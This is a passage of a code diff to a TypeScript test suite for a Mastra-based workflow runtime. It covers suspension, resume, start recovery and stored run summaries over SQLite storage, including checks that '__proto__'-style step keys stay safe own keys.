+      f.changeChild('a', 'd0-run', 'b', 123456);
+      f.reads.length = 0;
+      const selected = await f.runtime.authoritativeStartState(
+        'd0-root',
+        'd0-run',
+      );
+      expect(selected?.summary).toEqual(twin);
+      d0AssertRootSummary(selected?.summary ?? null, selectedRow);
+      expect(selected?.summary?.suspendPayload).toHaveProperty('a.b', {
+        reason: 'root a.b',
+        [SUSPENSION_DEADLINE_PAYLOAD_KEY]: 900_000,
+      });
+      expect(f.reads).toHaveLength(1);
+      assert(selected?.summary);
+      expect(suspensionDeadlinesOf(selected.summary)).toEqual(
+        d0DeadlineRefusal,
+      );
+    } finally {
+      f.close();
+    }
   });
 
-  it('rejects a numeric recovery token without RegExp coercion', async () => {
-    const { runtime } = buildRuntime(new InMemoryStore());
+  it('preserves magic own step keys and excludes Core control entries', async () => {
+    const f = await d1Fixture();
+    try {
+      const snapshot = d1Snapshot('suspended');
+      const keys = ['__proto__', 'constructor', 'toString'];
+      snapshot.context = Object.fromEntries(
+        [...keys, 'input', '__state'].map((key, index) => [
+          key,
+          {
+            status: 'suspended',
+            payload: {},
+            startedAt: 50,
+            suspendPayload: { key },
+            suspendedAt: 100 + index,
+            resumedAt: 90 + index,
+          },
+        ]),
+      );
+      snapshot.suspendedPaths = Object.fromEntries(
+        [...keys, 'input', '__state'].map((key) => [key, [0]]),
+      );
+      snapshot.requestContext['flowsafe.runProvenance'].resumeCounts = keys.map(
+        (key, index) => [key, index + 1],
+      );
+      await f.seed(snapshot);
+      const selected = await f.runtime.authoritativeStartState(
+        'd1-workflow',
+        'd1-run',
+      );
+      assert(selected?.summary);
+      const summary = selected.summary;
+      for (const field of [
+        'suspendPayload',
+        'suspendedAt',
+        'resumedAt',
+        'resumeCount',
+      ] as const) {
+        const map = summary[field] as Record<string, unknown>;
+        expect(Object.getPrototypeOf(map)).toBeNull();
+        expect(Object.keys(map)).toEqual(keys);
+        keys.forEach((key, index) => {
+          expect(Object.hasOwn(map, key)).toBe(true);
+          expect(map[key]).toEqual(
+            field === 'suspendPayload'
+              ? { key }
+              : field === 'suspendedAt'
+                ? 100 + index
+                : field === 'resumedAt'
+                  ? 90 + index
+                  : index + 1,
+          );
+        });
+      }
+    } finally {
+      f.close();
+    }
+  });
 
-    await expect(
-      runtime.recoverStartAttempt('echo', 'run-1', 123 as unknown as string),
-    ).rejects.toThrow('attemptToken is malformed');
+  it('writes v2 starts through its captured private reader', async () => {
+    const f = await d1Fixture();
+    try {
+      const read = vi.spyOn(f.runtime, 'authoritativeStartState');
+      await f.runtime.start('d1-workflow', {
+        runId: 'd1-run',
+        inputData: {},
+        attemptToken: 'ordinary',
+      });
+      expect(read).not.toHaveBeenCalled();
+      const row = await f.capability.readSnapshot({
+        workflowId: 'd1-workflow',
+        runId: 'd1-run',
+      });
+      assert(row);
+      expect(
+        JSON.parse(row.snapshot).requestContext['flowsafe.runProvenance'],
+      ).toMatchObject({
+        version: 2,
+        startToken: expect.any(String),
+        attemptToken: 'ordinary',
+      });
+    } finally {
+      f.close();
+    }
   });
+});
 
-  it('runs a workflow to suspension and resumes it to success', async () => {
-    // #given
-    const { runtime } = buildRuntime(new InMemoryStore());
+interface D0Snapshot {
+  status: RunSummary['status'];
+  result?: unknown;
+  error?: unknown;
+  context: Record<string, D0Step | D0Step[]>;
+  suspendedPaths?: Record<string, number[]>;
+  requestContext?: Record<string, unknown> & {
+    'flowsafe.runProvenance'?: {
+      version: number;
+      startToken: string;
+      requestedBy?: string;
+      requestedByKind?: 'human' | 'service' | 'system';
+      resumeCounts: Array<[string, number]>;
+    };
+  };
+}
 
-    // #when
-    const started = await runtime.start('demo-approval', {
-      runId: crypto.randomUUID(),
-      inputData: { topic: 'launch' },
-    });
+interface D0Step {
+  suspendPayload?: unknown;
+  suspendedAt?: number;
+  resumedAt?: number;
+}
 
-    // #then
-    expect(started.status).toBe('suspended');
-    expect(started.suspended).toEqual([['approval']]);
-    // suspendPayload is keyed by suspended step id
-    expect(started.suspendPayload).toEqual({
-      approval: { reason: 'human approval required' },
+function d0Fixture(requestContextForRun?: RequestContextProvider) {
+  const sqlite = openSqlite() as ReturnType<typeof openSqlite> & {
+    close(): void;
+  };
+  const prepare = sqlite.prepare.bind(sqlite);
+  const reads: unknown[][] = [];
+  const tracked = vi.spyOn(sqlite, 'prepare').mockImplementation((sql) => {
+    const statement = prepare(sql);
+    if (/^\s*SELECT\b/i.test(sql) && sql.includes('mastra_workflow_snapshot')) {
+      const get = statement.get.bind(statement);
+      const all = statement.all.bind(statement);
+      statement.get = (...args) => {
+        reads.push(args);
+        return get(...args);
+      };
+      statement.all = (...args) => {
+        reads.push(args);
+        return all(...args);
+      };
+    }
+    return statement;
+  });
+  const host = init(
+    { DB: sqliteUnitDatabase(sqlite) as D1DatabaseBinding },
+    { executionFence: 'none', startIdempotency: 'none', requestContextForRun },
+  );
+  const effects = vi.fn();
+  const schema = z.looseObject({});
+  const gate = (id: string, reason: string) =>
+    host.createStep({
+      id,
+      inputSchema: schema,
+      outputSchema: schema,
+      execute: async ({ inputData, resumeData, suspend, requestContext }) => {
+        effects(id, requestContext);
+        return resumeData
+          ? inputData
+          : suspend({ reason, [SUSPENSION_DEADLINE_PAYLOAD_KEY]: 900_000 });
+      },
     });
+  const row = (workflowId = 'd0-root', runId = 'd0-run') =>
+    prepare(
+      'SELECT * FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?',
+    ).get(workflowId, runId) as {
+      snapshot: string;
+      createdAt: string;
+      updatedAt: string;
+      [key: string]: unknown;
+    };
+  return {
+    ...host,
+    effects,
+    schema,
+    gate,
+    row,
+    reads,
+    snapshot: (workflowId = 'd0-root', runId = 'd0-run') =>
+      JSON.parse(row(workflowId, runId).snapshot) as D0Snapshot,
+    replaceSnapshot(snapshot: WorkflowRunState) {
+      prepare(
+        'UPDATE mastra_workflow_snapshot SET snapshot = ? WHERE workflow_name = ? AND run_id = ?',
+      ).run(JSON.stringify(snapshot), 'd0-root', 'd0-run');
+    },
+    changeChild(workflowId: string, runId: string, step: string, time: number) {
+      const snapshot = JSON.parse(
+        row(workflowId, runId).snapshot,
+      ) as D0Snapshot;
+      const entry = snapshot.context[step] as D0Step;
+      entry.suspendedAt = time;
+      entry.suspendPayload = { reason: 'CHILD ONLY CHANGE' };
+      prepare(
+        'UPDATE mastra_workflow_snapshot SET snapshot = ? WHERE workflow_name = ? AND run_id = ?',
+      ).run(JSON.stringify(snapshot), workflowId, runId);
+    },
+    close() {
+      tracked.mockRestore();
+      sqlite.close();
+    },
+  };
+}
 
-    // #when
-    const resumed = await runtime.resume('demo-approval', started.runId, {
-      step: 'approval',
-      resumeData: { approvedBy: 'alice' },
-    });
+function d0Collision(f: ReturnType<typeof d0Fixture>) {
+  const child = f
+    .createWorkflow({
+      id: 'a',
+      inputSchema: f.schema,
+      outputSchema: f.schema,
+    })
+    .then(f.gate('b', 'nested b'))
+    .commit();
+  return f
+    .createWorkflow({
+      id: 'd0-root',
+      inputSchema: f.schema,
+      outputSchema: f.schema,
+    })
+    .parallel([f.gate('a.b', 'root a.b'), child])
+    .commit();
+}
 
-    // #then
-    expect(resumed.status).toBe('success');
-    expect(resumed.result).toEqual({
-      topic: 'launch',
-      notes: 'notes:launch',
-      approvedBy: 'alice',
-    });
+function d0AssertRootSummary(
+  summary: RunSummary | null,
+  row: ReturnType<ReturnType<typeof d0Fixture>['row']>,
+) {
+  const snapshot = JSON.parse(row.snapshot) as D0Snapshot;
+  const keys = Object.keys(snapshot.suspendedPaths ?? {});
+  const entry = (key: string) => {
+    const value = snapshot.context[key];
+    return Array.isArray(value) ? value[value.length - 1] : value;
+  };
+  const project = <T>(read: (key: string) => T | undefined) => {
+    const pairs = keys
+      .map((key) => [key, read(key)] as const)
+      .filter(([, value]) => value !== undefined);
+    return pairs.length ? Object.fromEntries(pairs) : undefined;
+  };
+  const provenance = snapshot.requestContext?.['flowsafe.runProvenance'];
+  expect(summary).toMatchObject({
+    status: snapshot.status,
+    createdAt: new Date(row.createdAt).toISOString(),
+    updatedAt: new Date(row.updatedAt).toISOString(),
   });
+  expect(summary?.requestedBy).toBe(provenance?.requestedBy);
+  expect(summary?.requestedByKind).toBe(provenance?.requestedByKind);
+  if (snapshot.status === 'suspended') {
+    expect(summary?.suspended).toEqual(keys.map((key) => key.split('.')));
+    expect(summary?.suspendPayload).toEqual(
+      project((key) => entry(key)?.suspendPayload),
+    );
+    expect(summary?.suspendedAt).toEqual(
+      project((key) => entry(key)?.suspendedAt),
+    );
+    expect(summary?.resumedAt).toEqual(project((key) => entry(key)?.resumedAt));
+    expect(summary?.resumeCount).toEqual(
+      project((key) => new Map(provenance?.resumeCounts).get(key)),
+    );
+  }
+  if (snapshot.status === 'success')
+    expect(summary?.result).toEqual(snapshot.result);
+  expect(summary).not.toHaveProperty('requestContext');
+  expect(summary).not.toHaveProperty('startToken');
+  expect(summary).not.toHaveProperty('attemptToken');
+}
 
-  it('resumes in a fresh runtime sharing only storage — the restart simulation', async () => {
-    // #given — a run suspended by one runtime
-    const storage = new InMemoryStore();
-    const before = buildRuntime(storage).runtime;
-    const started = await before.start('demo-approval', {
-      runId: crypto.randomUUID(),
-      inputData: { topic: 'launch' },
-    });
-    expect(started.status).toBe('suspended');
+const d0Start = {
+  runId: 'd0-run',
+  inputData: {},
+  attemptToken: 'd0-attempt',
+  requestedBy: 'owner',
+  requestedByKind: 'human',
+} as const;
+
+const d0DeadlineRefusal = {
+  entries: [],
+  rejected: [
+    { step: 'a.b', reason: 'ambiguous suspended step path' },
+    { step: 'a', reason: 'nested suspension paths are not supported' },
+  ],
+};
+
+describe('D0 root-local stored summaries', () => {
+  it.each([
+    'status',
+    'authoritativeStatus',
+    'recoverStartAttempt',
+  ] as const)('D0 projects the selected root for summary reads: %s', async (method) => {
+    const f = d0Fixture();
+    d0Collision(f);
+    try {
+      await f.runtime.start('d0-root', d0Start);
+      const parent = f.row();
+      const read = () =>
+        method === 'recoverStartAttempt'
+          ? f.runtime
+              .recoverStartAttempt(
+                {
+                  tablePrefix: '',
+                  workflowId: 'd0-root',
+                  runId: 'd0-run',
+                  startToken: f.snapshot().requestContext?.[
+                    'flowsafe.runProvenance'
+                  ]?.startToken as string,
+                },
+                { attemptToken: 'd0-attempt', isOwnerQuiescent: () => true },
+              )
+              .then((value) =>
+                value?.kind === 'ordinary'
+                  ? value.summary
+                  : (value?.transition.summary ?? null),
+              )
+          : f.runtime[method]('d0-root', 'd0-run');
+      f.reads.length = 0;
+      const first = await read();
+      d0AssertRootSummary(first, parent);
+      expect(f.reads).toEqual([
+        method === 'recoverStartAttempt'
+          ? ['d0-root', 'd0-run']
+          : ['d0-run', 'd0-root'],
+      ]);
+      expect(suspensionDeadlinesOf(first as RunSummary)).toEqual(
+        d0DeadlineRefusal,
+      );
+      const rootTime = (f.snapshot().context['a.b'] as D0Step)
+        .suspendedAt as number;
+      f.changeChild('a', 'd0-run', 'b', rootTime + 1234);
+      expect(f.row()).toEqual(parent);
+      f.reads.length = 0;
+      const second = await read();
+      expect(second).toEqual(first);
+      expect(f.reads).toEqual([
+        method === 'recoverStartAttempt'
+          ? ['d0-root', 'd0-run']
+          : ['d0-run', 'd0-root'],
+      ]);
+      expect(f.effects).toHaveBeenCalledTimes(2);
+    } finally {
+      f.close();
+    }
+  });
 
-    // #when — a fresh runtime (fresh Mastra instance and run registry, as
-    // after a Worker restart; only the storage handle is shared) resumes it
-    const after = buildRuntime(storage).runtime;
-    const observed = await after.status('demo-approval', started.runId);
-    const resumed = await after.resume('demo-approval', started.runId, {
-      step: 'approval',
-      resumeData: { approvedBy: 'alice' },
-    });
+  it('D0 recovers a stored start result without child projection', async () => {
+    const f = d0Fixture();
+    const flow = d0Collision(f);
+    const create = flow.createRun.bind(flow);
+    const spy = vi
+      .spyOn(flow, 'createRun')
+      .mockImplementation(async (options) => {
+        const run = await create(options);
+        const start = run.start.bind(run);
+        run.start = async (input) => {
+          try {
+            await start(input);
+            f.reads.length = 0;
+            throw new Error('D0 lost native start receipt');
+          } finally {
+            run.start = start;
+          }
+        };
+        return run;
+      });
+    try {
+      const result = await f.runtime.start('d0-root', d0Start);
+      d0AssertRootSummary(result, f.row());
+      expect(f.reads).toEqual([['d0-root', 'd0-run']]);
+      expect(f.effects).toHaveBeenCalledTimes(2);
+      expect(
+        f.snapshot().requestContext?.['flowsafe.runProvenance'],
+      ).toMatchObject({
+        version: 2,
+        startToken: expect.any(String),
+        resumeCounts: [],
+      });
+    } finally {
+      spy.mockRestore();
+      f.close();
+    }
+  });
 
-    // #then
-    expect(observed).toMatchObject({ status: 'suspended' });
-    expect(resumed.status).toBe('success');
-    expect(resumed.result).toMatchObject({
-      approvedBy: 'alice',
-      topic: 'launch',
-    });
+  it('D0 projects lifecycle completion from one root read', async () => {
+    const f = d0Fixture();
+    const flow = d0Collision(f);
+    const windows: unknown[][][] = [];
+    let spy: { mockRestore(): void } | undefined;
+    try {
+      await f.runtime.start('d0-root', d0Start);
+      const domain = (await flow.mastra
+        ?.getStorage()
+        ?.getStore('workflows')) as FencedWorkflowsStorageD1;
+      const native = domain[FENCED_WORKFLOW_STORAGE];
+      assert(native);
+      const capability = { ...native };
+      Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, {
+        value: capability,
+        configurable: true,
+      });
+      const nativeRead = capability.readSnapshot;
+      spy = vi
+        .spyOn(capability, 'readSnapshot')
+        .mockImplementation(async (address) => {
+          const start = f.reads.length;
+          const selected = await nativeRead(address);
+          windows.push(f.reads.slice(start));
+          return selected;
+        });
+      const parent = f.row();
+      const principal = { kind: 'human', id: 'owner' } as const;
+      const missed = await f.runtime.timeOut(
+        'd0-root',
+        'd0-run',
+        { expectedRevision: 1 },
+        100,
+      );
+      expect(missed).toMatchObject({ transitioned: false, casMatched: false });
+      d0AssertRootSummary(missed.summary, parent);
+      const terminal = await f.runtime.terminateAsPrincipal(
+        'd0-root',
+        'd0-run',
+        principal,
+        principal,
+        101,
+      );
+      expect(terminal).toMatchObject({
+        transitioned: true,
+        casMatched: true,
+        summary: { status: 'cancelled' },
+        cleanup: { cleanupCompleted: false, revision: 1 },
+      });
+      const retry = await f.runtime.terminateAsPrincipal(
+        'd0-root',
+        'd0-run',
+        principal,
+        principal,
+        102,
+      );
+      expect(retry).toMatchObject({
+        transitioned: false,
+        summary: { status: 'cancelled' },
+        cleanup: terminal.cleanup,
+      });
+      const completed = await f.runtime.completeTerminalCleanup(
+        'd0-root',
+        'd0-run',
+        terminal.cleanup.revision,
+        103,
+      );
+      expect(completed.status).toBe('cancelled');
+      await expect(
+        f.runtime.completeTerminalCleanup(
+          'd0-root',
+          'd0-run',
+          terminal.cleanup.revision,
+          104,
+        ),
+      ).resolves.toEqual(completed);
+      expect(windows).toEqual(
+        Array.from({ length: 5 }, () => [['d0-root', 'd0-run']]),
+      );
+      expect(f.effects).toHaveBeenCalledTimes(2);
+    } finally {
+      spy?.mockRestore();
+      f.close();
+    }
   });
 
-  it('executes the gated step exactly once under concurrent resume', async () => {
-    // #given — a suspended approval run
-    const { runtime, counters } = buildRuntime(new InMemoryStore());
-    const started = await runtime.start('demo-approval', {
-      runId: crypto.randomUUID(),
-      inputData: { topic: 'race' },
+  it('D0 preserves detailed nested resume preparation', async () => {
+    const legs: RunLeg[] = [];
+    const f = d0Fixture((_workflowId, _runId, leg) => {
+      legs.push(leg);
+      return { d0Provider: true };
     });
-    expect(started.status).toBe('suspended');
-
-    // #when — two racing approvals for the same run
-    const outcomes = await Promise.allSettled([
-      runtime.resume('demo-approval', started.runId, {
-        step: 'approval',
-        resumeData: { approvedBy: 'alice' },
-      }),
-      runtime.resume('demo-approval', started.runId, {
-        step: 'approval',
-        resumeData: { approvedBy: 'bob' },
-      }),
-    ]);
-
-    // #then — exactly one wins; the loser gets RunNotSuspendedError; the
-    // gated action ran once. This is the product's core guarantee.
-    const fulfilled = outcomes.filter((o) => o.status === 'fulfilled');
-    const rejected = outcomes.filter((o) => o.status === 'rejected');
-    expect(fulfilled).toHaveLength(1);
-    expect(rejected).toHaveLength(1);
-    expect((rejected[0] as PromiseRejectedResult).reason).toBeInstanceOf(
-      RunNotSuspendedError,
-    );
-    expect(counters.approvalResumes).toBe(1);
+    const child = f
+      .createWorkflow({
+        id: 'nested',
+        inputSchema: f.schema,
+        outputSchema: f.schema,
+      })
+      .then(f.gate('approval', 'nested approval'))
+      .commit();
+    const flow = f
+      .createWorkflow({
+        id: 'd0-root',
+        inputSchema: f.schema,
+        outputSchema: f.schema,
+      })
+      .then(child)
+      .commit();
+    const spy = vi.spyOn(flow, 'getWorkflowRunById');
+    try {
+      await f.runtime.start('d0-root', d0Start);
+      f.changeChild('nested', 'd0-run', 'approval', 12345);
+      legs.length = 0;
+      spy.mockClear();
+      const result = await f.runtime.resume('d0-root', 'd0-run', {
+        step: ['nested', 'approval'],
+        resumeData: { approve: true },
+        requestedBy: 'reviewer',
+        requestedByKind: 'human',
+      });
+      expect(result.status).toBe('success');
+      expect(legs).toEqual([
+        {
+          kind: 'resume',
+          step: ['nested', 'approval'],
+          suspendedAt: 12345,
+          resumeCount: undefined,
+        },
+      ]);
+      const preparation = spy.mock.calls.filter(([, options]) =>
+        options?.fields?.includes('requestContext'),
+      );
+      expect(preparation).toHaveLength(1);
+      expect(preparation[0]?.[1]?.withNestedWorkflows ?? true).toBe(true);
+      expect(f.effects).toHaveBeenCalledTimes(2);
+      const context = f.effects.mock.calls[1]?.[1] as RequestContext;
+      expect(context.get('breakwater.connectorExecution')).toMatchObject({
+        suspension: { stepPath: ['nested', 'approval'], suspendedAt: 12345 },
+      });
+      expect(context.get('d0Provider')).toBe(true);
+      expect(
+        f.snapshot().requestContext?.['flowsafe.runProvenance'],
+      ).toMatchObject({
+        version: 2,
+        startToken: expect.any(String),
+        requestedBy: 'reviewer',
+        requestedByKind: 'human',
+        resumeCounts: [['nested.approval', 1]],
+      });
+    } finally {
+      spy.mockRestore();
+      f.close();
+    }
   });
+});
 
-  it('executes a caller-keyed run exactly once under concurrent start', async () => {
-    // #given
-    const { runtime, counters } = buildRuntime(new InMemoryStore());
-
-    // #when — two racing starts sharing a caller-supplied runId
-    const outcomes = await Promise.allSettled([
-      runtime.start('echo', { runId: 'shared', inputData: { value: 'a' } }),
-      runtime.start('echo', { runId: 'shared', inputData: { value: 'b' } }),
-    ]);
-
-    // #then — one executes, the other is rejected as already existing
-    expect(outcomes.filter((o) => o.status === 'fulfilled')).toHaveLength(1);
-    const rejection = outcomes.find((o) => o.status === 'rejected');
-    expect((rejection as PromiseRejectedResult).reason).toBeInstanceOf(
-      RunAlreadyExistsError,
-    );
-    expect(counters.echoRuns).toBe(1);
+describe('D0 summary compatibility', () => {
+  it.each([
+    'success',
+    'failure',
+    'suspension',
+    'resuspension',
+    'parallel',
+    'foreach-1',
+    'foreach-3',
+    'nested-1',
+    'nested-2',
+    'plain-dots',
+    'unattributed',
+  ] as const)('D0 preserves root summary fields: %s', async (mode) => {
+    const f = d0Fixture();
+    const root = () =>
+      f.createWorkflow({
+        id: 'd0-root',
+        inputSchema: f.schema,
+        outputSchema: f.schema,
+      });
+    let inputData: unknown = {};
+    if (mode === 'success' || mode === 'failure') {
+      root()
+        .then(
+          f.createStep({
+            id: 'result',
+            inputSchema: f.schema,
+            outputSchema: f.schema,
+            execute: async ({ inputData: input }) => {
+              if (mode === 'failure') throw new Error('D0 expected failure');
+              return input;
+            },
+          }),
+        )
+        .commit();
+      inputData = { value: 'root result' };
+    } else if (mode === 'foreach-1' || mode === 'foreach-3') {
+      f.createWorkflow({
+        id: 'd0-root',
+        inputSchema: z.array(f.schema),
+        outputSchema: z.array(f.schema),
+      })
+        .foreach(f.gate('gate', 'iteration'), {
+          concurrency: mode === 'foreach-1' ? 1 : 3,
+        })
+        .commit();
+      inputData = [{ n: 1 }, { n: 2 }, { n: 3 }];
+    } else if (mode === 'nested-1' || mode === 'nested-2') {
+      const inner = f
+        .createWorkflow({
+          id: 'inner',
+          inputSchema: f.schema,
+          outputSchema: f.schema,
+        })
+        .then(f.gate('gate', 'nested'))
+        .commit();
+      const nested =
+        mode === 'nested-1'
+          ? inner
+          : f
+              .createWorkflow({
+                id: 'middle',
+                inputSchema: f.schema,
+                outputSchema: f.schema,
+              })
+              .then(inner)
+              .commit();
+      root().then(nested).commit();
+    } else if (mode === 'parallel' || mode === 'plain-dots') {
+      root()
+        .parallel(
+          mode === 'parallel'
+            ? [f.gate('left', 'left'), f.gate('right', 'right')]
+            : [f.gate('a', 'plain a'), f.gate('a.b', 'plain a.b')],
+        )
+        .commit();
+    } else if (mode === 'resuspension') {
+      root()
+        .then(
+          f.createStep({
+            id: 'gate',
+            inputSchema: f.schema,
+            outputSchema: f.schema,
+            execute: async ({ resumeData, suspend }) =>
+              suspend({ reason: resumeData ? 'again' : 'first' }),
+          }),
+        )
+        .commit();
+    } else root().then(f.gate('gate', 'first')).commit();
+    try {
+      await f.runtime.start(
+        'd0-root',
+        mode === 'unattributed'
+          ? { runId: 'd0-run', inputData }
+          : { ...d0Start, inputData },
+      );
+      if (mode === 'resuspension')
+        await f.runtime.resume('d0-root', 'd0-run', {
+          step: 'gate',
+          resumeData: { again: true },
+          requestedBy: 'reviewer',
+          requestedByKind: 'human',
+        });
+      const before = f.row();
+      for (const method of ['status', 'authoritativeStatus'] as const) {
+        f.reads.length = 0;
+        const summary = await f.runtime[method]('d0-root', 'd0-run');
+        d0AssertRootSummary(summary, before);
+        expect(f.reads).toEqual([['d0-run', 'd0-root']]);
+        if (mode === 'failure')
+          expect(summary?.error).toContain('D0 expected failure');
+        if (mode === 'resuspension')
+          expect(summary?.resumeCount).toEqual({ gate: 1 });
+        if (mode === 'plain-dots')
+          expect(suspensionDeadlinesOf(summary as RunSummary)).toMatchObject({
+            entries: [{ step: 'a' }, { step: 'a.b' }],
+            rejected: [],
+          });
+        if (mode === 'nested-1' || mode === 'nested-2') {
+          const deadlines = suspensionDeadlinesOf(summary as RunSummary);
+          expect(deadlines.entries).toEqual([]);
+          expect(deadlines.rejected).toEqual([
+            {
+              step: mode === 'nested-1' ? 'inner' : 'middle',
+              reason: 'nested suspension paths are not supported',
+            },
+          ]);
+        }
+      }
+      expect(f.row()).toEqual(before);
+    } finally {
+      f.close();
+    }
   });
 
-  it('rejects a sequential start that reuses an existing runId', async () => {
-    // #given
-    const { runtime } = buildRuntime(new InMemoryStore());
-    await runtime.start('echo', { runId: 'r1', inputData: { value: 'x' } });
-
-    // #when / #then
-    await expect(
-      runtime.start('echo', { runId: 'r1', inputData: { value: 'y' } }),
-    ).rejects.toBeInstanceOf(RunAlreadyExistsError);
+  it('D0 preserves genuine missing-run and recovery mismatch behavior', async () => {
+    const f = d0Fixture();
+    d0Collision(f);
+    try {
+      await expect(f.runtime.status('d0-root', 'absent')).resolves.toBeNull();
+      await expect(
+        f.runtime.authoritativeStatus('d0-root', 'absent'),
+      ).resolves.toBeNull();
+      await expect(
+        f.runtime.recoverStartAttempt(
+          {
+            tablePrefix: '',
+            workflowId: 'd0-root',
+            runId: 'absent',
+            startToken: 'absent',
+          },
+          { attemptToken: 'd0-attempt', isOwnerQuiescent: () => true },
+        ),
+      ).resolves.toBeNull();
+      await f.runtime.start('d0-root', d0Start);
+      const before = f.row();
+      await expect(
+        f.runtime.recoverStartAttempt(
+          {
+            tablePrefix: '',
+            workflowId: 'd0-root',
+            runId: 'd0-run',
+            startToken: 'wrong',
+          },
+          { attemptToken: 'd0-attempt', isOwnerQuiescent: () => true },
+        ),
+      ).rejects.toThrow('run start recovery is unresolved');
+      expect(f.row()).toEqual(before);
+      expect(f.effects).toHaveBeenCalledTimes(2);
+    } finally {
+      f.close();
+    }
   });
 
-  it('completes non-suspending workflows and rejects resuming them', async () => {
-    // #given
-    const { runtime } = buildRuntime(new InMemoryStore());
-
-    // #when
-    const done = await runtime.start('echo', {
-      runId: crypto.randomUUID(),
-      inputData: { value: 'hi' },
+  it('D0 preserves fallback refusal before recovery deletion', async () => {
+    const storage = new InMemoryStore();
+    const { runtime, createStep, createWorkflow } = init(
+      { storage },
+      {
+        executionFence: 'none',
+        startIdempotency: 'none',
+      },
+    );
+    const workflow = createWorkflow({
+      id: 'd0-fallback',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(
+        createStep({
+          id: 'gate',
+          inputSchema: z.object({}),
+          outputSchema: z.object({}),
+          execute: async ({ suspend }) => suspend({ reason: 'waiting' }),
+        }),
+      )
+      .commit();
+    const started = await runtime.start('d0-fallback', {
+      runId: 'd0-run',
+      inputData: {},
     });
-
-    // #then
-    expect(done.status).toBe('success');
-    expect(done.result).toEqual({ value: 'hi' });
+    const remove = vi.spyOn(workflow, 'deleteWorkflowRunById');
+    const domain = await storage.getStore('workflows');
+    if (!domain) throw new Error('D0 workflows domain missing');
+    const blind = vi
+      .spyOn(domain, 'getWorkflowRunById')
+      .mockResolvedValue(null);
+    const restore = () => blind.mockRestore();
+    try {
+      await expect(
+        runtime.status('d0-fallback', started.runId),
+      ).resolves.toMatchObject({ status: 'pending' });
+      await expect(
+        runtime.authoritativeStatus('d0-fallback', started.runId),
+      ).rejects.toBeInstanceOf(RunStateUnreadableError);
+      await expect(
+        runtime.recoverStartAttempt(
+          {
+            tablePrefix: '',
+            workflowId: 'd0-fallback',
+            runId: started.runId,
+            startToken: 'valid',
+          },
+          { attemptToken: 'valid', isOwnerQuiescent: () => true },
+        ),
+      ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError);
+      expect(remove).not.toHaveBeenCalled();
+    } finally {
+      restore();
+      remove.mockRestore();
+    }
     await expect(
-      runtime.resume('echo', done.runId, { resumeData: {} }),
-    ).rejects.toBeInstanceOf(RunNotSuspendedError);
+      runtime.authoritativeStatus('d0-fallback', started.runId),
+    ).resolves.toHaveProperty('status', 'suspended');
   });
+});
 
-  it('classifies resume-schema violations as InvalidRunRequestError and keeps the run resumable', async () => {
-    // #given
-    const { runtime } = buildRuntime(new InMemoryStore());
-    const started = await runtime.start('demo-approval', {
-      runId: crypto.randomUUID(),
-      inputData: { topic: 'validate' },
-    });
-
-    // #when / #then — bad resumeData is a client error, not a server fault
-    await expect(
-      runtime.resume('demo-approval', started.runId, {
-        step: 'approval',
-        resumeData: { approvedBy: 123 },
-      }),
-    ).rejects.toBeInstanceOf(InvalidRunRequestError);
+interface Counters {
+  /** Times the approval step's post-approval body ran (the gated action). */
+  approvalResumes: number;
+  /** Times the echo step executed. */
+  echoRuns: number;
+}
 
-    // #then — the run is still suspended and a valid resume completes it
-    expect(await runtime.status('demo-approval', started.runId)).toMatchObject({
-      status: 'suspended',
-    });
-    const resumed = await runtime.resume('demo-approval', started.runId, {
-      step: 'approval',
-      resumeData: { approvedBy: 'carol' },
-    });
-    expect(resumed.status).toBe('success');
+function runtimeAgent(id: string): Agent {
+  return new Agent({
+    id,
+    name: id,
+    instructions: 'Test agent.',
+    model: 'openai/gpt-4o-mini',
   });
+}
 
-  it('classifies a resume targeting a non-suspended step as InvalidRunRequestError', async () => {
-    // #given
-    const { runtime } = buildRuntime(new InMemoryStore());
-    const started = await runtime.start('demo-approval', {
-      runId: crypto.randomUUID(),
-      inputData: { topic: 'wrong-step' },
-    });
+// demo-approval: research -> approval (suspends; counts resumed executions).
+// echo: single step, completes immediately (counts executions).
+function buildRuntime(storage: InMemoryStore): {
+  runtime: RunnerRuntime;
+  counters: Counters;
+} {
+  const counters: Counters = { approvalResumes: 0, echoRuns: 0 };
+  const { createWorkflow, createStep, runtime } = init(
+    { storage },
+    { startIdempotency: 'none', executionFence: 'none' },
+  );
 
-    // #when / #then
-    await expect(
-      runtime.resume('demo-approval', started.runId, {
-        step: 'research',
-        resumeData: { approvedBy: 'dave' },
-      }),
-    ).rejects.toBeInstanceOf(InvalidRunRequestError);
+  const research = createStep({
+    id: 'research',
+    inputSchema: z.object({ topic: z.string() }),
+    outputSchema: z.object({ topic: z.string(), notes: z.string() }),
+    execute: async ({ inputData }) => ({
+      topic: inputData.topic,
+      notes: `notes:${inputData.topic}`,
+    }),
   });
-
-  it('honors caller-provided runIds', async () => {
-    // #given
-    const { runtime } = buildRuntime(new InMemoryStore());
-
-    // #when
-    const started = await runtime.start('echo', {
-      runId: 'fixed-run-id',
-      inputData: { value: 'x' },
-    });
-
-    // #then
-    expect(started.runId).toBe('fixed-run-id');
+  const approval = createStep({
+    id: 'approval',
+    inputSchema: z.object({ topic: z.string(), notes: z.string() }),
+    outputSchema: z.object({
+      topic: z.string(),
+      notes: z.string(),
+      approvedBy: z.string(),
+    }),
+    suspendSchema: z.object({ reason: z.string() }),
+    resumeSchema: z.object({ approvedBy: z.string() }),
+    execute: async ({ inputData, resumeData, suspend }) => {
+      if (!resumeData) return suspend({ reason: 'human approval required' });
+      counters.approvalResumes += 1;
+      return { ...inputData, approvedBy: resumeData.approvedBy };
+    },
   });
+  createWorkflow({
+    id: 'demo-approval',
+    inputSchema: z.object({ topic: z.string() }),
+    outputSchema: z.object({
+      topic: z.string(),
+      notes: z.string(),
+      approvedBy: z.string(),
+    }),
+  })
+    .then(research)
+    .then(approval)
+    .commit();
 
-  it('throws UnknownWorkflowError for unregistered workflows', async () => {
-    // #given
-    const { runtime } = buildRuntime(new InMemoryStore());
-
-    // #when / #then
-    await expect(
-      runtime.start('nope', { runId: 'r-unknown' }),
-    ).rejects.toBeInstanceOf(UnknownWorkflowError);
+  const echo = createStep({
+    id: 'echo',
+    inputSchema: z.object({ value: z.string() }),
+    outputSchema: z.object({ value: z.string() }),
+    execute: async ({ inputData }) => {
+      counters.echoRuns += 1;
+      return inputData;
+    },
   });
+  createWorkflow({
+    id: 'echo',
